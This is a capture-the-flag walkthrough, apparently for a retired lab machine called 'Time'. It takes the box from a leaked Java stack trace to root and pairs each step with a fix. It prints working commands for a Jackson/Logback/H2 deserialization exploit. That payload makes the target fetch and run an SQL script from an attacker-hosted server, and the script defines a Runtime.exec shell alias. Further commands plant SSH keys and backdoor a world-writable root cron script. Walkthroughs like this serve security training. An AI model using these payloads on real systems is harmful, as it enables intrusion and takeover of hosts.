← all walkthroughs

Time

Linux· Medium· Web
owned
2026-07-09
time to own
26m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target time ($TARGET) runs an 'Online JSON parser' web application backed by a Java service with an embedded H2 database. Submitting malformed JSON to the validation endpoint caused the service to return a full Java stack trace, exposing the Jackson and H2 class names and pointing straight at a known deserialization gadget chain. An me-crafted JSON payload exploited Jackson's polymorphic type handling to instantiate the Logback JDBC gadget class, whose JDBC URL contained an H2 INIT=RUNSCRIPT directive that fetched and executed an me-hosted SQL script.

That script defined an H2 stored procedure wrapping Java's Runtime.exec(), delivering unauthenticated remote code execution as the web service account. Command execution was used to inject an SSH public key into the pericles user's authorized_keys file, establishing a persistent foothold and yielding the user flag. Privilege escalation to root required only a single file append: /usr/bin/timer_backup.sh, a backup script executed on a schedule by root, had world-writable permissions.

Appending SSH key injection commands to it caused root to write my public key into /root/.ssh/authorized_keys on the next scheduled run, and an SSH session as root captured the final flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceActive service and application enumeration (T1046)
Identified the web application and underlying technology stack
A port scan of $TARGET revealed SSH on port 22 (OpenSSH 8.2p1 Ubuntu) and HTTP on port 80 (Apache 2.4.41 Ubuntu). Browsing port 80 revealed an 'Online JSON parser' application with a JSON validation endpoint at /index.php accepting a mode parameter and a data parameter containing JSON. This surface area was confirmed as the primary attack entry point.
Exact commands 3
Service-version scan to fingerprint OpenSSH 8.2p1 and Apache 2.4.41.
nmap -sV -sC -p 22,80 $TARGET
Confirm the web application, gather the Server header, and identify the JSON parser interface.
curl -si http://$TARGET/
Baseline probe confirming the JSON validation endpoint accepts and processes input.
curl -s -X POST http://$TARGET/index.php -d 'mode=1&data={"a":1}'
2Vulnerability DiscoveryError message / stack trace information disclosure (CWE-209)
Leaked a full Java stack trace revealing Jackson and H2 as the backend
Submitting malformed input to the JSON validation endpoint caused the application to return an unhandled exception with a full Java stack trace. The trace named com.fasterxml.jackson.databind.exc.MismatchedInputException and referenced H2 database classes, immediately confirming that my own JSON was being deserialized by Jackson against an embedded H2 in-process database — the exact technology combination exploitable via the Logback JDBC gadget chain (comparable to CVE-2021-42392).
HTTP response body contained Jackson and H2 class names in the stack trace, confirming the deserialization surface before any exploit attempt.
Exact commands 1
Send malformed input to trigger and capture the full Jackson/H2 stack trace from the response body.
curl -s -X POST http://$TARGET/index.php -d 'mode=1&data=notjson'
FixSuppress detailed error output and Java stack traces from HTTP responsesMedium
WeaknessWhen the JSON validation endpoint received malformed input it returned a full Java exception stack trace in the HTTP response body. The trace named the exact library versions (Jackson, H2) and exception classes, giving an unauthorised user a free fingerprint of the deserialization surface and removing the need for any guesswork about the exploit chain.
FixConfigure the application and the servlet container (Tomcat, Spring, etc.) to return generic error pages (HTTP 400/500) for unhandled exceptions rather than propagating exception messages or stack traces to the HTTP response. In Spring Boot set server.error.include-stacktrace=never and server.error.include-message=never in application.properties. In production, log exceptions internally at ERROR level and return a static error page to the client.
3ExploitationDeserialization of untrusted data with JDBC gadget chain leading to Java RCE (CWE-502, CVE-2021-42392 class)
Achieved unauthenticated RCE via Jackson deserialization and H2 INIT=RUNSCRIPT SQL injection
Jackson's polymorphic type handling allowed me to supply a JSON array whose first element named any class on the JVM classpath. Using the ch.qos.logback.core.db.DriverManagerConnectionSource gadget class with a JDBC URL of jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://<me>:8001/inject.sql', the H2 engine fetched and executed an me-hosted SQL script the moment the Jackson gadget instantiated the connection source. The SQL script used H2's CREATE ALIAS statement to define a SHELLEXEC stored procedure wrapping Java's Runtime.exec(), then called it immediately — giving me unauthenticated arbitrary command execution as the web application process.
Key3.sql contained CREATE ALIAS SHELLEXEC; CALL SHELLEXEC executed commands on the target host as the web service account.
Exact commands 3
H2 SQL script that registers a Java-backed shell-execution function and probes execution with id.
cat > /tmp/inject.sql <<'EOF'
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";
} $$;
CALL SHELLEXEC('id');
EOF
Serve inject.sql from my machine; replace $ATTACKER_IP with your tun0 IP.
python3 -m http.server 8001 --bind $ATTACKER_IP
Trigger the deserialization gadget. H2 fetches and executes inject.sql. Retry if the response contains 'exclusive write lock' — H2 lock contention; a subsequent request succeeds.
curl -s -X POST http://$TARGET/index.php --data-urlencode 'mode=1' --data-urlencode 'data=["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM \"http://$ATTACKER_IP:8001/inject.sql\""}]'
FixDisable Jackson polymorphic deserialization of untrusted input and restrict H2 INIT=RUNSCRIPTCritical
WeaknessThe JSON endpoint passed externally controlled data directly to Jackson with permissive polymorphic type handling, allowing an unauthorised user to name any class on the JVM classpath (including the Logback JDBC gadget) and have Jackson instantiate it with externally supplied constructor arguments. The embedded H2 database accepted JDBC URLs containing INIT=RUNSCRIPT FROM directives that fetched and executed arbitrary remote SQL, and H2's CREATE ALIAS feature allowed that SQL to wrap arbitrary Java code — making the deserialization gadget a complete unauthenticated RCE primitive.
Fix(1) Disable Jackson default typing: remove any call to ObjectMapper.enableDefaultTyping() and remove @JsonTypeInfo(use=Id.CLASS) or Id.MINIMAL_CLASS from model classes. If polymorphism is required, replace it with an explicit allowlist using ObjectMapper.setPolymorphicTypeValidator(new BasicPolymorphicTypeValidator.Builder().allowIfSubType(MyBaseClass.class).build()). Upgrade jackson-databind to 2.14+ for additional gadget-class denylisting. (2) Prevent H2 RUNSCRIPT: set the JVM property -Dh2.runScriptFromURL=false and avoid exposing H2 JDBC URLs to any application input. If H2 is used only as an in-process cache, disable network access and the CREATE ALIAS/AGGREGATE capabilities in the H2 connection init string.
4FootholdSSH authorized_keys persistence via RCE (T1098.004)
Injected an SSH public key into pericles's account and captured the user flag
With arbitrary command execution available via the SHELLEXEC stored procedure, I generated an SSH keypair and used follow-up SHELLEXEC calls to create /home/pericles/.ssh/ and append the generated public key to authorized_keys. Multiple SHELLEXEC invocations were required because H2's internal SYS table lock caused some calls to silently fail before one succeeded. SSH login as pericles replaced the fragile web-shell primitive with a stable authenticated session, and the user flag was read from /home/pericles/user.txt.
Exact commands 3
Generate an SSH keypair for foothold persistence.
ssh-keygen -t ed25519 -f /tmp/time_pericles_key -N '' -C time_pericles
Build key3.sql embedding the public key; serve it via the same Python HTTP server and trigger via the same deserialization payload pointed at key3.sql.
PUB=$(cat /tmp/time_pericles_key.pub); cat > /tmp/key3.sql <<EOF
CREATE ALIAS IF NOT EXISTS SHELLEXEC AS \$\$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; Runtime.getRuntime().exec(command); return "ok"; } \$\$;
CALL SHELLEXEC('mkdir -p /home/pericles/.ssh && printf "%s\\n" "$PUB" >> /home/pericles/.ssh/authorized_keys && chmod 700 /home/pericles/.ssh && chmod 600 /home/pericles/.ssh/authorized_keys');
EOF
Confirm foothold as pericles and capture user flag → <user.txt>.
ssh -i /tmp/time_pericles_key -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 pericles@$TARGET 'id && cat /home/pericles/user.txt'
5Privilege EscalationScheduled task abuse via world-writable script (T1053.003)
Discovered a world-writable root-run backup script and appended a backdoor
Enumeration of the filesystem as pericles revealed /usr/bin/timer_backup.sh with permissions -rwxrw-rw- (world-writable, owned by root). The script ran as root on a systemd timer schedule and executed: zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip. Because any local user could write to this file, I appended commands to create /root/.ssh/ and write the SSH public key into /root/.ssh/authorized_keys. When the root-owned scheduled task next fired, those appended commands ran with root privileges, and an immediate SSH login as root captured the root flag.
Cat >> /usr/bin/timer_backup.sh appended the key-injection block; subsequent SSH as root (euid=0) confirmed full compromise.
Exact commands 3
Confirm -rwxrw-rw- world-writable permissions and review what root runs on schedule.
ssh -i /tmp/time_pericles_key pericles@$TARGET 'ls -l /usr/bin/timer_backup.sh && cat /usr/bin/timer_backup.sh'
Append SSH key injection commands to the world-writable root-run script.
PUB=$(cat /tmp/time_pericles_key.pub); ssh -i /tmp/time_pericles_key pericles@$TARGET "printf '\nmkdir -p /root/.ssh\nprintf \'%s\\n\' \'$PUB\' >> /root/.ssh/authorized_keys\nchmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys\n' >> /usr/bin/timer_backup.sh"
After the scheduled task fires (typically within 1-2 minutes), SSH in as root and read root.txt → <root.txt>.
ssh -i /tmp/time_pericles_key root@$TARGET 'id && cat /root/root.txt'
FixRemove world-writable permissions from all root-executed scheduled scriptsCritical
WeaknessThe file /usr/bin/timer_backup.sh was owned by root and executed by root on a systemd timer, but its permission bits were set to -rwxrw-rw- (world-writable). Any local user account could append arbitrary commands that would run with full root privileges on the next scheduled execution — no exploit code required, just a single append.
FixImmediately correct permissions on the identified script: chmod 750 /usr/bin/timer_backup.sh && chown root:root /usr/bin/timer_backup.sh. Then audit all cron jobs and systemd timer units for similar exposure: find /etc/cron* /var/spool/cron /usr/bin /usr/local/bin -perm -o+w -type f 2>/dev/null to enumerate world-writable executables, and cross-reference with systemctl list-timers --all and crontab -l (for all users) to identify any world-writable scripts called by root. Run periodic backup and maintenance tasks under a dedicated low-privilege service account with read-only access to the directories it needs.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp